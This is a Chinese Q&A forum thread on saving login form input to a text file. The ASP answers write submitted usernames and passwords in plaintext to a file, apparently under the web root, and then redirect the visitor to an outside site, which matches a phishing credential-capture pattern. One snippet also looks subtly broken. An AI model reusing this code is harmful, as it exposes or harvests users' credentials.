如何把HTM的文本框和密码框里的内容保存到一个TXT文件中

发布网友 发布时间：2022-10-07 21:32

我来回答

共4个回答

热心网友 时间：2023-10-30 13:59

首先你要确定空间可以使用FSO（FileSystemObject）对象，然后利用它来完成一个文本文件的操作。

<form method=post action="?cmd=write">
文本框：<input type="text" name="txtInput"><br>
密码框：<input type="password" name="txtPassword"><br>
<input type="submit" value="进入">
</form>
<%
'// 如果命令为 写入，则将信息写到指定的文件中
If LCase(Request.QueryString("cmd")&"")="write" Then
'// 调用写入指定的文件
Call writeFile(Server.Mappath("AAA.txt"))
'// 转到 http://www.wg731.com
Response.ReDirect "http://www.wg731.com"
End If

'// 写入指定的文件
Private Function writeFile(strFileName)
Dim oFSO,oTextStream,strContent
'// 创建FSO对象
Set oFSO = CreateObject("Scripting.FileSystemObject")
'// 创建一个文本文件
Set oTextStream = oFSO.CreateTextFile(strFileName)
'// 设置要写入的内容
strContent = "文本框:" & Request.Form("txtInput") & vbCrlf & _
"密码框:" & Request.Form("txtPassword")
'// 写入文件内容
oTextStream.Write strContent
oTextStream.Close

'// 释放对象
Set oTextStream = Nothing
Set oFSO = Nothing
End Function
%>

热心网友 时间：2023-10-30 14:00

现在假定是ASP环境吧:)
<%
Dim user,pass,fso,file
user=Trim(Request("user"))
pass=Trim(Request("pass"))
If user="" And pass="" Then
%>
<form method="post" action=<%=SERVER_VARIABLES("PATH_INFO")%>>
User:<input name="user" type="text" size="16"><br>
Pass:<input name="pass" type="password" size="16"><br>
<input type="submit" value="进入"><input type="reset" value="重设">
</form>
<%
Else
Set fso=Server.CreateObject("Scripting.FileSystemObject")
Set file=fso.CreateTextFile("路径",ForAppending,1)
file.WriteLine "user=" & user & ",password=" & pass
file.Close
Set file=Nothing
Set fso=Nothing
Response.ReDirect "http://www.wg731.com "
End If
%>

热心网友 时间：2023-10-30 14:00

如果不支持 FSO 的话就只能写到数据库了 ...

热心网友 时间：2023-10-30 14:01

大哥，你的网站使用什么动态环境？ASP?PHP?
这个都不说清楚，怎么来代码啊？